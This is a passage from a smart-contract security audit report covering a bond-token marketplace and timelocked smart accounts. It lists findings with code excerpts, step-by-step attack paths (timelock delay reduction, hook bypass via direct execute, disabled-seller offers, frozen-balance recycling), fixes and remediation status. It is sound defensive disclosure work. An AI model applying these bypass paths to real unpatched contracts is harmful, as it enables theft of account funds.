Recommendation(s): For each item, either implement the advertised behaviour or remove the dead surface: remove the unused `delay`/ `validAfter` fields (or enforce them); remove the phantom `BondRegistry__BondAlreadyExists` reference; remove or relocate the unreachable `TokenAddressZero` check and the unreachable `NonExistentBond`/ `BondAlreadyIssued` doc references; and remove `_makersOfferIds` (or expose and read it) if it has no consumer.

Source: Codespect manual audit

Client notification: Not required for Info

Status: Fixed

Update from CTU team: Implemented in MR !293. Removed unused registry and marketplace code, including dead error paths, unused storage, and obsolete constants. Implemented in MR !23. Removed unused `WeightedValidator` timelock-related code and associated dead storage fields.

Update from CODESPECT: The issue is fixed in `bba571f` (unused registry and marketplace dead code) and in commit `add9d53` (unused `WeightedValidator` code).

7.5.11 [Info] `DEUSSToken.initialize(...)` does not auto-set `_protectedAddress[EscrowManager]`, leaving bond custody unprotected until a separate post-deployment call is made

Severity: Info

Section ID: 7.5.11

File(s): `DEUSSToken.sol/L35-L37`, `BaseToken.sol/L302-L317`

Function(s): `DEUSSToken.initialize(...)`, `BaseToken.__BaseToken_init(...)`, `DEUSSToken.protectAddress(...)`

Category: Deployment Safety / Configuration

References: CWE-665 (Improper Initialization)

Description: `DEUSSToken.initialize(...)` only accepts `owner_`, `bondRegistry_`, and `entityRegistry_` as parameters and delegates to `__BaseToken_init(...)`. It never calls `protectAddress(EscrowManager)` automatically:

```
function initialize(address owner_, address bondRegistry_, address entityRegistry_) external initializer {
    __BaseToken_init(owner_, bondRegistry_, entityRegistry_);
}
```

`_protectedAddress[EscrowManager]` therefore remains `false` until the owner manually calls `protectAddress(EscrowManager)` in a separate post-deployment transaction. If this call is omitted or delayed, the `FINAL_SETTLEMENT` burn path via `BondRegistry` can target EscrowManager directly, as `_validateBurnAuthorization` does not restrict the `from` address when `msg.sender` holds `BURNER` on BondRegistry. Setting `_protectedAddress[EscrowManager] = true` is the documented safeguard against this, but it is not enforced atomically at initialization.

Impact: No immediate on-chain risk in normal deployments. The protection relies on the deployment ceremony following the correct order and not omitting the `protectAddress` call. In the worst case a deployment that skips this step leaves EscrowManager's bond balances burnable via the BondRegistry FINAL_SETTLEMENT path.

Recommendation(s): Accept `escrowManager_` as a parameter in `DEUSSToken.initialize(...)` and call `protectAddress(escrowManager_)` atomically within the initializer, so the protection is enforced at deployment time rather than relying on a separate post-deploy transaction.

Source: Codespect manual audit

Client notification:

Status: Fixed

Update from CTU team: Implemented in MR !291. Added EscrowManager token protection during DEUSSToken initialization.

Update from CODESPECT: The issue is fixed in `44fdd76`.

7.5.12 [Info] `setMaxCounterOffersPerUser(...)` has no minimum guard, allowing ADMIN to set it to zero and disable all counter-offer flows

Severity: Info

Section ID: 7.5.12

File(s): `MarketplaceBase.sol/L169-L173`

Function(s): `MarketplaceBase.setMaxCounterOffersPerUser(...)`

Category: Input Validation / Configuration

References: CWE-20 (Improper Input Validation)

Description: `setMaxCounterOffersPerUser(...)` writes the cap with no lower-bound validation:

```
function setMaxCounterOffersPerUser(uint256 maxCounterOffers) public onlyRoles(ADMIN) {
    _config.maxCounterOffersPerUser = maxCounterOffers;
    emit MaxCounterOffersPerUserSet(maxCounterOffers);
}
```

Setting `maxCounterOffers = 0` makes the guard in `createCounterOffer(...)`: `require(currentCount < _config.maxCounterOffersPerUser)`: always revert for every user, effectively disabling the entire counter-offer flow platform-wide. Unlike the payment threshold setters, which enforce a `MIN_PAYMENT_EXPIRY_THRESHOLD` floor, this setter has no equivalent minimum.

Impact: ADMIN is a semi-trusted role. Setting this to zero is an operational misconfiguration that disables a marketplace feature. No funds are at risk.

Recommendation(s): Add a `MIN_COUNTER_OFFERS_PER_USER` constant and enforce it with a lower-bound require in `setMaxCounterOffersPerUser(...)`, consistent with the floor checks already present on the payment expiry threshold setters.

Source: Codespect manual audit

Client notification:

Status: Fixed

Update from CTU team: Implemented in MR !288. Added a non-zero validation for `maxCounterOffersPerUser` in `setMaxCounterOffersPerUser(...)`.

Update from CODESPECT: The issue is fixed in `3158474`.

7.5.13 [Info] DEUSSToken implementation contract is missing _disableInitializers();

Severity: Info

Section ID: 7.5.13

File(s): DEUSSToken.sol

Function(s): DEUSSToken (missing constructor())

Category: Initialization Safety

References: CWE-665 (Improper Initialization)

Description: Every other proxy-deployed contract in the codebase explicitly locks its implementation against direct initialization:

```
constructor() {
    _disableInitializers();
}
```

This includes BondRegistry, PolicyRegistry, EntityRegistry, EscrowManager, AssetManager, CompanyWallet, WalletFactory, and TimelockController. DEUSSToken declares no constructor, so its implementation contract can be directly initialized by anyone after deployment. An attacker who calls DEUSSToken.initialize(...) on the implementation instance takes ownership of the implementation's storage. The proxy instances are not affected: initialize is protected by the initializer modifier on proxies and only runs once: but the unprotected implementation is operational hygiene debt that violates the project's own established pattern.

Impact: Proxy instances are unaffected. The implementation's own storage is at risk of takeover, but this does not affect user funds held through proxies.

Recommendation(s): Add a constructor that calls _disableInitializers(), following the same pattern already used by every other proxy-deployed contract in the codebase.

Source: Codespect manual audit

Client notification:

Status: Fixed

Update from CTU team: Implemented in MR !289. Added an implementation contract initializer lock to DEUSSToken by calling _disableInitializers() in the constructor.

Update from CODESPECT: The issue is fixed in 2e931aa.

8 SpecSiege Findings

SpecSiege is CODESPECT's double-check format, a community review process. A group of researchers from the public security community actively participated in the review, and they received rewards based on the number of valid findings they submitted. The formatting of the issues, along with some sections, was modified from the originally submitted versions to better fit the overall structure of the CODESPECT report. Please also note that the final severity of each issue was determined by the CODESPECT Judge team, as every finding must be reviewed by this team to confirm its validity and assign the appropriate severity. As a result, some of the original finding descriptions may be misleading in terms of impact and likelihood.

8.1 Critical

No critical issues were discovered during this engagement.

8.2 High

No high issues were discovered during this engagement.

8.3 Medium

8.3.1 [Medium] Timelock delay can be reduced immediately because TimelockEnforcerHook permits direct updateDelay calls

Severity: Medium

Section ID: 8.3.1

Found by: srujankumarreddy11, crystallinebutterfly, 4nescient, sahuang, newmanxbt, 4gontuk, brandonshiyay, jes16jupyter, emanueldlvg, godwinda, befree3x, devpelz, aestheticbhai, 0xhuntoor, pauliax, nishithpat, abhan1041, lordalive, orangesantra, d33p-x, okhayeeli, harsh4509

File(s): `README.md` `TimelockEnforcerHook.sol` `TimelockEnforcerHook.sol` `TimelockEnforcerHook.sol` `Timelock.sol` `Timelock.sol` `Timelock.sol`

Function(s): `TimelockEnforcerHook.preCheck()` `TimelockEnforcerHook._enforceTimelockOnly()` `TimelockEnforcerHook._requireTimelockCall()` `Timelock.updateDelay()` `Timelock.schedule()` `Timelock.execute()`

Category: Access Control Business Logic / Protocol Design Time / Block-Related Documentation / Code Mismatch

References: CWE-693: Protection Mechanism Failure CWE-284: Improper Access Control OWASP Smart Contract Top 10: Access Control / Authorization weakness

Description: The Kernel account-abstraction timelock design intends that sensitive account operations are delayed when the `TimelockEnforcerHook` is installed on the account's root validator. The README explicitly declares the following invariant for the Kernel / beacon AA timelock:

> `updateDelay` is callable only by the account itself and must itself be scheduled, so the delay can only change after the current delay elapses.

However, the current hook implementation allows a normal UserOperation to call `Timelock.updateDelay()` directly. `TimelockEnforcerHook` stores the `Timelock.updateDelay` selector as an allowed selector:

```
bytes4 private constant _TL_UPDATE_DELAY_SEL = Timelock.updateDelay.selector;
```

Then `_requireTimelockCall()` allows the operation when the target is the paired timelock and the selector is any of:

```
schedule
cancel
execute
updateDelay
```

The relevant logic is:

```
function _requireTimelockCall(address target, bytes4 sel, address timelock) internal pure {
    if (target != timelock) revert ForbiddenTarget(target, timelock);
    if (sel != _TL_SCHEDULE_SEL && sel != _TL_CANCEL_SEL && sel != _TL_EXECUTE_SEL && sel != _TL_UPDATE_DELAY_SEL) {
```

```
        revert ForbiddenSelector(sel);
    }
}
```

Because `updateDelay` is whitelisted at the hook layer, a valid account UserOperation can directly call:

```
Timelock.updateDelay(newDelay)
```

through the normal `EntryPoint -> Kernel.executeUserOp -> TimelockEnforcerHook.preCheck -> Timelock.updateDelay` path. `Timelock.updateDelay()` immediately writes the new delay for `msg.sender`:

```
function updateDelay(uint256 newDelay) public {
    address account = msg.sender;
    if (!isInitialized(account)) revert NotInitialized(account);
    if (newDelay < MIN_DELAY) revert InvalidInitializedData();

    emit MinDelayChanged(account, _delays[account], newDelay);
    _delays[account] = newDelay;
}
```

This bypasses the documented requirement that the delay change itself must first be scheduled and can only take effect after the current delay elapses. The issue does not require an admin role, public mempool ordering, front-running, or any trusted-role misconfiguration. It is a direct logic mismatch between the hook whitelist and the intended delayed-delay-change invariant.

Root cause: `TimelockEnforcerHook._requireTimelockCall()` directly whitelists `Timelock.updateDelay.selector`. This allows `updateDelay()` to be executed immediately through the root-validator UserOp path, instead of requiring the account to schedule `updateDelay()` as an operation and later execute it through `Timelock.execute()` after the current delay.

Attack path:

a. A Kernel account is configured with `TimelockEnforcerHook` and the `Timelock` executor;
b. The account has a high configured delay, for example `7 days`;
c. The account's validator/signer is compromised, or an otherwise authorized per-account signer becomes malicious;
d. The attacker submits a normal UserOperation that calls the paired timelock directly with:;

```
Timelock.updateDelay(3600)
```

e. `TimelockEnforcerHook.preCheck()` accepts the operation because `updateDelay` is in the allowed selector set;
f. `Timelock.updateDelay()` immediately updates the account delay from `7 days` to `3600` seconds;
g. The attacker schedules a sensitive operation after the delay reduction;
h. The sensitive operation becomes executable after `3600` seconds instead of after the originally configured `7 days`;

The attacker cannot accelerate already-pending operations, because existing operations keep their original `executableAt` timestamp. However, the attacker can immediately reduce the protection window for all future scheduled operations, which is enough to defeat the configured timelock guarantee.

Impact: The configured timelock protection window for an affected Kernel account can be compressed immediately from any higher delay to `Timelock.MIN_DELAY`, which is `3600` seconds. This breaks the documented delayed-delay-change invariant. A compromised validator/signer should be constrained by the currently configured timelock delay before it can reduce the delay and perform sensitive account operations. Instead, the attacker can immediately reduce the delay and then schedule future malicious actions under the reduced delay. The impact is scoped to affected Kernel accounts using the timelock hook. For each affected account, the attacker can shorten the defense window protecting that account's assets and privileged account operations. Depending on the account's holdings and permissions, this may allow theft or takeover actions after one hour instead of the configured multi-day delay. Examples of sensitive operations that can become executable under the reduced delay include account fund transfers, module installation/uninstallation, validator changes, or other account-level operations that the timelock was intended to delay. This is best classified as Medium: it is a significant logic/invariant break affecting protected accounts, but it does not directly compromise global protocol funds or mint assets at protocol-wide scale.

Likelihood: Medium. Preconditions:

- The target Kernel account must have the `TimelockEnforcerHook` installed.
- The configured delay must be greater than `MIN_DELAY`.
- The attacker must control, compromise, or otherwise satisfy the account's current validator/signature path.

Once these preconditions are met, exploitation is straightforward:

- No privileged protocol admin role is required.
- No public mempool, front-running, or transaction-ordering assumption is required.
- The exploit is a normal UserOperation through the intended `EntryPoint` and `Kernel.executeUserOp` flow.
- The hook explicitly allows the vulnerable selector.

This is realistic because timelocks are specifically used to provide a reaction window when account signing authority is compromised or behaves maliciously. The current implementation lets that same compromised authority immediately reduce the delay before scheduling future sensitive operations.

Recommendation(s): Remove `Timelock.updateDelay.selector` from the direct selector whitelist in `TimelockEnforcerHook`. The hook should only directly allow:

```
schedule
cancel
execute
```

For example:

```
function _requireTimelockCall(address target, bytes4 sel, address timelock) internal pure {
    if (target != timelock) revert ForbiddenTarget(target, timelock);

    if (sel != _TL_SCHEDULE_SEL && sel != _TL_CANCEL_SEL && sel != _TL_EXECUTE_SEL) {
        revert ForbiddenSelector(sel);
    }
}
```

Delay changes should be performed by scheduling an operation whose target is the `Timelock` contract itself and whose payload is `updateDelay(newDelay)`. That operation should then be executed later via `Timelock.execute()` only after the current delay has elapsed. Recommended valid flow:

```
// Step 1: schedule delay change under current delay
Timelock.schedule(
    address(timelock),
    0,
    abi.encodeCall(Timelock.updateDelay, (newDelay)),
    bytes32(0),
    salt
);

// Step 2: after current delay has elapsed
Timelock.execute(
    address(timelock),
    0,
    abi.encodeCall(Timelock.updateDelay, (newDelay)),
    bytes32(0),
    salt
);
```

This preserves the documented invariant: the delay can only change after the current delay elapses. As an additional hardening step, add a regression test asserting that direct UserOp calls to `Timelock.updateDelay()` revert at the hook layer, while scheduled-and-later-executed `updateDelay()` succeeds only after the old delay has elapsed.

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. `updateDelay` was removed from `TimelockEnforcerHook`'s directly allowed selectors.

Update from CODESPECT: Fixed in: 85d71355

8.3.2 [Medium] ECDSA root owner can bypass TimelockEnforcerHook by directly calling Kernel.execute

Severity: Medium

Section ID: 8.3.2

Found by: srujankumarreddy11, brandonshiyay, jes16jupyter, 4gontuk, josephdara, 0xhuntoor, pauliax, marketerka

File(s): `README.md` `Kernel.sol` `Kernel.sol` `Kernel.sol` `ECDSAValidator.sol` `ECDSAValidator.sol` `TimelockEnforcerHook.sol` `TimelockEnforcerHook.sol` `TimelockEnforcerHook.sol` `TimelockEnforcerHook.sol` `Timelock.sol` `Timelock.sol`

Function(s): `Kernel.onlyEntryPointOrSelfOrRoot()` `Kernel.execute()` `Kernel.executeFromExecutor()` `ECDSAValidator.isModuleType()` `ECDSAValidator.preCheck()` `TimelockEnforcerHook.preCheck()` `TimelockEnforcerHook._enforceTimelockOnly()` `TimelockEnforcerHook._requireTimelockCall()` `Timelock.schedule()` `Timelock.execute()`

Category: Access Control Business Logic / Protocol Design Time / Block-Related Documentation / Code Mismatch

References: CWE-284: Improper Access Control CWE-693: Protection Mechanism Failure OWASP Smart Contract Top 10: Access Control / Authorization weakness

Description: I have analysed the Kernel account-abstraction timelock flow and observed that `TimelockEnforcerHook` can be bypassed for Kernel accounts whose root validator is `ECDSAValidator`. The documented Kernel / AA timelock invariant states that timelocked account operations should be constrained by the timelock flow. The hook documentation also states that when `TimelockEnforcerHook` is installed, UserOp execution should be restricted to the paired `Timelock` executor and that arbitrary direct targets bypassing the delay should revert. The intended delayed execution flow is:

```
schedule -> wait configured delay -> execute
```

However, I observed that `Kernel.execute()` has a separate direct external execution path through `onlyEntryPointOrSelfOrRoot()`. `Kernel.execute()` is protected by `onlyEntryPointOrSelfOrRoot()`:

```
function execute(ExecMode execMode, bytes calldata executionCalldata) external payable onlyEntryPointOrSelfOrRoot {
    ExecLib.execute(execMode, executionCalldata);
}
```

When the caller is neither the EntryPoint nor the account itself, `onlyEntryPointOrSelfOrRoot()` loads the root validator. If the root validator supports module type `HOOK`, Kernel calls the root validator's own `preCheck()`:

```
modifier onlyEntryPointOrSelfOrRoot() {
    if (
        msg.sender != address(entrypoint) && msg.sender != address(this) // do rootValidator hook
    ) {
        IValidator validator = ValidatorLib.getValidator(_validationStorage().rootValidator);
        if (validator.isModuleType(4)) {
            bytes memory ret = IHook(address(validator)).preCheck(msg.sender, msg.value, msg.data);
            _;
            IHook(address(validator)).postCheck(ret);
        } else {
            revert InvalidCaller();
        }
    } else {
        _;
    }
}
```

The important issue is that this direct call path does not invoke the account's configured `TimelockEnforcerHook.preCheck()`. I have observed that `ECDSAValidator` is both a validator and a hook:

```
function isModuleType(uint256 typeID) external pure override returns (bool) {
    return typeID == MODULE_TYPE_VALIDATOR || typeID == MODULE_TYPE_HOOK;
}
```

Its hook `preCheck()` only verifies that the direct caller is the stored ECDSA owner for the Kernel account:

```
function preCheck(address msgSender, uint256 value, bytes calldata)
    external
    payable
    override
    returns (bytes memory)
{
```

```
    require(msgSender == ecdsaValidatorStorage[msg.sender].owner, "ECDSAValidator: sender is not owner");
    return hex"";
}
```

Therefore, when a Kernel account is configured as follows:

```
root validator = ECDSAValidator
configured account hook = TimelockEnforcerHook
installed executor = Timelock
```

the ECDSA owner can directly call `Kernel.execute()` and execute arbitrary account calls immediately. This bypasses the configured `TimelockEnforcerHook` entirely. The bypass path is:

```
ECDSA owner EOA
-> Kernel.execute()
-> Kernel.onlyEntryPointOrSelfOrRoot()
-> ECDSAValidator.preCheck()
-> immediate arbitrary execution
```

The expected timelock enforcement path is skipped:

```
TimelockEnforcerHook.preCheck()
```

This means an account can appear to be protected by `TimelockEnforcerHook` while still allowing the ECDSA root owner to execute arbitrary calls immediately, without scheduling them in `Timelock`, without waiting the configured delay, and without going through `Timelock.execute()`.

Root cause: `Kernel.onlyEntryPointOrSelfOrRoot()` authorizes direct external calls by invoking the root validator's own hook interface when the root validator supports module type `HOOK`. Since `ECDSAValidator` supports `MODULE_TYPE_HOOK`, direct calls from the ECDSA owner are authorized by `ECDSAValidator.preCheck()`. This direct root-validator hook path bypasses the account's configured `TimelockEnforcerHook`, so timelock enforcement is not applied to direct `Kernel.execute()` calls.

Attack path:

a. A Kernel account is configured with `ECDSAValidator` as its root validator;
b. The same account installs `TimelockEnforcerHook` as its configured hook;
c. The same account installs the `Timelock` executor with a non-trivial delay, for example `7 days`;
d. The account holds ETH, tokens, or has sensitive account modules/permissions;
e. The ECDSA owner key is compromised, or the ECDSA owner becomes malicious;
f. Instead of submitting a UserOperation through the EntryPoint and being constrained by `TimelockEnforcerHook`, the attacker directly calls:;

```
Kernel.execute(execMode, executionCalldata)
```

g. `Kernel.onlyEntryPointOrSelfOrRoot()` loads the root validator;
h. Since `ECDSAValidator.isModuleType(MODULE_TYPE_HOOK)` returns true, Kernel calls `ECDSAValidator.preCheck()`;
i. `ECDSAValidator.preCheck()` passes because `msgSender` is the ECDSA owner;
j. `Kernel.execute()` immediately performs the arbitrary execution;
k. `TimelockEnforcerHook.preCheck()` is never reached;
l. The attacker transfers funds or performs other account-level actions without `schedule -> wait -> execute`;

Impact: For ECDSA-root Kernel accounts with `TimelockEnforcerHook` installed, the configured timelock can be bypassed completely through a direct call to `Kernel.execute()`. This defeats the account-level timelock protection. A compromised ECDSA root owner can immediately perform sensitive account operations that the timelock was intended to delay. Examples of sensitive operations include:

- Transferring ETH or tokens out of the Kernel account;
- Installing or uninstalling modules;
- Installing or removing validations;
- Changing account configuration;
- Performing arbitrary external calls from the account;

The impact is scoped to affected Kernel accounts using `ECDSAValidator` as the root validator together with `TimelockEnforcerHook`. For each affected account, the attacker can execute immediately instead of being constrained by the configured delay. This is best classified as Medium because it is a significant protection-mechanism bypass for timelocked accounts, but it does not directly compromise global protocol funds or mint assets at protocol-wide scale.

Likelihood: Medium. Preconditions:

- The Kernel account uses `ECDSAValidator` as the root validator;
- The account has `TimelockEnforcerHook` configured;
- The account has the `Timelock` executor installed;
- The attacker controls or compromises the ECDSA owner key;

Once those preconditions are met, exploitation is straightforward:

- No privileged protocol admin role is required;
- No public mempool, front-running, or transaction-ordering assumption is required;
- No special timing window is required;
- The attacker calls `Kernel.execute()` directly;
- The bypass is a normal execution path implemented by `onlyEntryPointOrSelfOrRoot()`;

This is realistic because timelocks are specifically useful as a defense-in-depth mechanism when signing authority is compromised or behaves maliciously. The current implementation lets the ECDSA root owner avoid the configured timelock hook entirely.

Recommendation(s): Ensure direct root-validator calls cannot bypass the account's configured hook. A safe design should enforce the configured hook for direct calls as well, not only for UserOperation execution paths. One option is to modify `onlyEntryPointOrSelfOrRoot()` so that when a configured account hook exists, direct external root-validator authorization is also routed through the configured hook or rejected if it would bypass the configured hook. For timelocked accounts specifically, direct `Kernel.execute()` calls from the root owner should either:

a. Revert when `TimelockEnforcerHook` is installed; or;
b. Be passed through `TimelockEnforcerHook.preCheck()` so arbitrary direct targets are rejected; or;
c. Be limited to calling the paired `Timelock` executor with allowed selectors, preserving the same rule as the UserOperation path;

A conservative fix is to disallow direct root-validator execution when the configured hook is non-empty and is not the same hook used for direct authorization. Conceptually:

```
modifier onlyEntryPointOrSelfOrRoot() {
    if (msg.sender == address(entrypoint) || msg.sender == address(this)) {
        _;
        return;
    }

    // If the account has a configured hook, direct external calls must not bypass it.
    IHook configuredHook = _getConfiguredHookForRootValidation();

    if (address(configuredHook) != address(0)) {
        bytes memory hookRet = configuredHook.preCheck(msg.sender, msg.value, msg.data);
        _;
        configuredHook.postCheck(hookRet);
        return;
    }

    IValidator validator = ValidatorLib.getValidator(_validationStorage().rootValidator);
    if (validator.isModuleType(MODULE_TYPE_HOOK)) {
        bytes memory ret = IHook(address(validator)).preCheck(msg.sender, msg.value, msg.data);
        _;
        IHook(address(validator)).postCheck(ret);
    } else {
        revert InvalidCaller();
    }
}
```

For `TimelockEnforcerHook`, the expected behavior after the fix should be:

- Direct `Kernel.execute()` to arbitrary targets reverts;
- Direct calls to arbitrary account operations do not bypass the timelock;
- Sensitive execution must go through `Timelock.schedule()`, wait the configured delay, and then `Timelock.execute()`;

Add a regression test asserting that an ECDSA-root account with `TimelockEnforcerHook` installed cannot directly call `Kernel.execute()` to transfer funds, while the same transfer succeeds only through the scheduled timelock flow after the configured delay.

Source: SpecSiege (double-check review)

Status: Acknowledged

Update from CTU team: This fix is only feasible for `execute`. Applying it to other functions in `Kernel.sol` would negatively impact the Kernel's modularity, resulting in some modules and plugins no longer functioning correctly. I have documented this limitation.

Update from CODESPECT: Fixed in: 65812b24

8.3.3 [Medium] Disabled seller will create live marketplace offers after revocation for protocol users

Severity: Medium

Section ID: 8.3.3

Found by: 4gontuk, jes16jupyter, 0xhuntoor, hard1k7724, pauliax, lordalive, srujankumarreddy11, josephdara, godwinda

File(s): `Marketplace.sol`

Function(s): `Marketplace.registerOffer()`, `Marketplace._validateOffer()`, `Marketplace._validateEntityTypeAllowed()`, `EntityRegistry.getEntityTypeIdByAccount()`, `EscrowManager.createEscrow()`

Category: Access Control; Business Logic / Protocol Design

References: CWE-284: Improper Access Control

Description: `Marketplace._validateOffer()` checks only the seller entity type and not the seller enabled state. This will cause a creation-time eligibility bypass for protocol users as a disabled seller will call `registerOffer()` for a supported ERC20, ERC721, or ERC1155 asset and create a live offer after account revocation.

Root cause: In `Marketplace.sol/L1216-L1222`, `_validateOffer()` calls `_validateEntityTypeAllowed(owner_)` instead of `_validateEntityWalletAndTypeAllowed(owner_)`. This is the exact missing check. `getEntityTypeIdByAccount()` only proves that the account has a registered entity type. It does not prove that the account or entity is enabled. The marketplace is built around `registerOffer()`. A seller deposits assets into escrow, then buyers can create deals from the offer. The README says that eligibility is checked when an offer or deal is created. That includes both entity-type allowlist checks and account-enabled checks. The broken invariant is:

> A disabled account must not be able to create a new offer. Revocation in `EntityRegistry` should stop new marketplace commitments at creation time.

The code does not enforce this for standard assets. `registerOffer()` first calls `_validateOffer()`, then stores the offer, then calls `EscrowManager.createEscrow()`.

```
function registerOffer(OfferInput calldata offer) external nonReentrant returns (uint256 offerId) {
    Offer memory validatedOffer = _validateOffer(offer, msg.sender);

    offerId = ++counters.offerCounter;
    uint256 expectedEscrowId = IEscrowManager(_escrowManager).previewNextEscrowId();

    _offers[offerId] = validatedOffer;

    _escrowIdByOfferId[offerId] = expectedEscrowId;
    uint256 actualEscrowId = IEscrowManager(_escrowManager).createEscrow(
        validatedOffer.amounts.total,
        validatedOffer.owner,
        validatedOffer.tokenAddress,
        validatedOffer.tokenId,
        validatedOffer.bondNominalValue
    );
}
```

The validation function only checks entity type.

```
function _validateOffer(OfferInput calldata offer, address owner_)
    internal
    view
    returns (Offer memory validatedOffer)
{
    _validateEntityTypeAllowed(owner_); // @audit only checks type, not enabled account state
    _validateSaleMode(uint8(offer.saleMode));

    AssetType assetType = _validateAsset(offer);
    _validateDepositAmounts(offer.totalAmount, offer.lot);
}
```

`_validateEntityTypeAllowed()` reads the type through `EntityRegistry.getEntityTypeIdByAccount()`.

```
function _validateEntityTypeAllowed(address wallet) internal view {
    address entityRegistry = _entityRegistry;
    if (entityRegistry == address(0)) {
        return;
    }
```

```
    uint256 typeId = IEntityRegistry(entityRegistry).getEntityTypeIdByAccount(wallet); // @audit no enabled-state check
    require(_allowedEntityTypes[typeId], Errors.EntityEligibilityGuard__EntityTypeNotAllowed(typeId));
}
```

That getter only checks that the account exists and the entity exists.

```
function getEntityTypeIdByAccount(address account) external view returns (uint256) {
    _requireAccountExists(account);
    _requireEntityExists(_accounts[account].entityId);
    return _entities[_accounts[account].entityId].typeId; // @audit disabled accounts still return a type
}
```

The enabled-state check is a different path in `EntityRegistry`.

```
function _isAccountEnabled(address account) internal view returns (bool) {
    Account storage accountRecord = _accounts[account];
    if (accountRecord.status != AccountStatus.ENABLED) {
        return false;
    }

    Entity storage entity = _entities[accountRecord.entityId];
    if (entity.status != EntityStatus.ENABLED) {
        return false;
    }
    return true;
}
```

The docs say that `registerOffer()` relies on token transfer checks inside `EscrowManager.createEscrow()` for seller wallet validation. That assumption is only true for the platform ERC6909 token. It is false for supported ERC20, ERC721, and ERC1155 assets. `EscrowManager.createEscrow()` validates the asset and then transfers it.

```
function createEscrow(
    uint256 amount,
    address depositor,
    address tokenAddress,
    uint256 tokenId,
    uint256 bondNominalValue
) external nonReentrant returns (uint256 escrowId) {
    bytes32 callerModuleType = _requireAuthorizedCallerModule(msg.sender);

    AssetType assetType = IAssetManager(assetManager).validateAsset(tokenAddress, tokenId, amount);

    escrows[escrowId] = Escrow({
        depositor: depositor,
        assetType: assetType,
        tokenAddress: tokenAddress,
        tokenId: tokenId,
        bondNominalValue: bondNominalValue,
        amount: amount,
        moduleType: callerModuleType,
        moduleAddress: msg.sender
    });

    _transferToEscrow(assetType, tokenAddress, depositor, tokenId, amount); // @audit relies on token transfer path
}
```

For ERC20, ERC721, and ERC1155, the transfer path does not call `EntityRegistry`.

```
if (assetType == AssetType.ERC20) {
    if (from == address(this)) {
        IERC20(token).safeTransfer(to, amount);
    } else {
        IERC20(token).safeTransferFrom(from, to, amount); // @audit no EntityRegistry enabled check
    }
    return;
}

if (assetType == AssetType.ERC721) {
    IERC721(token).safeTransferFrom(from, to, tokenId); // @audit no EntityRegistry enabled check
```

```
        return;
    }

    if (assetType == AssetType.ERC1155) {
        IERC1155(token).safeTransferFrom(from, to, tokenId, amount, ""); // @audit no EntityRegistry enabled check
        return;
    }

    if (assetType == AssetType.ERC6909) {
        bool success = IERC6909(token).transferFrom(from, to, tokenId, amount);
        require(success, Errors.EscrowManager__TokensTransferFailed());
        return;
    }
```

The trusted-role part is important. This attack does not need a trusted role to act badly. `ADMIN` may honestly list a normal ERC20 in `AssetManager`. `GUARD` may honestly disable the seller account after KYC or policy failure. After that, the disabled seller is the only attacker. The seller calls the public `registerOffer()` function. `EscrowManager` accepts the call because it comes from the authorized `Marketplace` module, but the module did not do the promised business validation.

Attack path:

a. `ADMIN` calls `AssetManager.setAsset()` and enables a standard ERC20, ERC721, or ERC1155 asset. This is normal setup, not the attack;

b. The seller approves `EscrowManager` for the asset while the seller is still enabled;

c. `GUARD` calls `EntityRegistry.setAccountStatus()` and disables the seller account. This is normal compliance action, not the attack;

d. The disabled seller calls `Marketplace.registerOffer()` with the supported standard asset;

e. `Marketplace._validateOffer()` calls `_validateEntityTypeAllowed()` and passes because the disabled seller still has a registered entity type;

f. `Marketplace.registerOffer()` stores the offer and calls `EscrowManager.createEscrow()`;

g. `EscrowManager._transferToEscrow()` uses `safeTransferFrom()` for ERC20, ERC721, or ERC1155. No enabled-state check is made;

h. The offer is created and the asset is moved into escrow even though `EntityRegistry.isAccountEnabled(seller)` is false;

Impact: A revoked seller can bypass the creation-time eligibility rule and create live offers for supported non-ERC6909 assets. This breaks the protocol compliance boundary and creates unauthorized escrow state. Direct sale while the seller stays disabled is still blocked by later checks, so the issue is Medium, not High.

Likelihood: Medium. Requires a seller that has been disabled by `GUARD` (a normal compliance action) after it had already approved `EscrowManager`, plus a supported ERC20, ERC721, or ERC1155 asset enabled by `ADMIN`. No external attacker is needed: the disabled seller acts alone through the public `registerOffer()`.

Recommendation(s): Do the seller enabled-state check inside `Marketplace._validateOffer()`. Do not rely on token transfer hooks for marketplace eligibility when ERC20, ERC721, and ERC1155 assets are supported.

```
- _validateEntityTypeAllowed(owner_);
+ _validateEntityWalletAndTypeAllowed(owner_);
```

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. Offer registration validates seller wallet/entity enabled state.

Update from CODESPECT: Fixed in: 931956da

8.3.4 [Medium] Issuer reclaim can recycle frozen issuer inventory into unfrozen supply

Severity: Medium

Section ID: 8.3.4

Found by: brandonshiyay, 4nescient

File(s): BondRegistry.sol, BondRegistry.sol, DEUSSToken.sol, DEUSSToken.sol

Function(s): BondRegistry.burnBond(), BondRegistry._applyBurnAccounting(), DEUSSToken.burnFromRegistry(), DEUSSToken._validateAndUnfreezeBalance()

Category: Business Logic / Protocol Design; Reentrancy / State Inconsistency

References: CWE-840, CWE-863

Description: Issuer reclaim burns restore `remainingIssuableSupply`. The privileged registry burn path can consume frozen balance by reducing `frozenBalance` when the source lacks enough free balance. A frozen issuer can burn its frozen issuer-held units through reclaim, reopen issuance capacity, and then mint the same amount back as fresh unfrozen balance.

Impact: A token freeze on issuer-held inventory can be bypassed without exceeding the live supply cap. The issuer can regain transferable inventory that was meant to remain immobilized unless operators also disable the issuer, suspend the bond, or close issuance.

Likelihood: Medium. The issuer must hold frozen units of an active, non-suspended bond before maturity. This is plausible when freeze is used as a targeted control rather than full bond suspension.

Recommendation(s): Deny issuer reclaim from frozen balance, or preserve frozen state across reclaim and reissue.

```
+ if (kind == BurnKind.ISSUER_RECLAIM) {
+     require(token.freeBalanceOf(from, tokenId) >= amount, FrozenReclaimDenied());
+ }
  token.burnFromRegistry(from, tokenId, amount, kind);
```

The simpler and safer fix is to require reclaim burns to come only from unfrozen issuer balance.

Source: SpecSiege (double-check review)

Status: Fixed

Update from CTU team: Implemented fully. Issuer reclaim now denies frozen issuer inventory.

Update from CODESPECT: Fixed in: ab07f48e

8.3.5 [Medium] supportsExecutionMode advertises CALLTYPE_STATIC

Severity: Medium

Section ID: 8.3.5

Found by: heavyw8t

File(s): `Kernel.sol`, `Kernel.sol`, `Kernel.sol`

Function(s): `Kernel.supportsExecutionMode(ExecMode)`, `Kernel.execute(ExecMode,bytes)`, `Kernel.executeFromExecutor(ExecMode,bytes)`

Category: Documentation / Code Mismatch; Design Observation

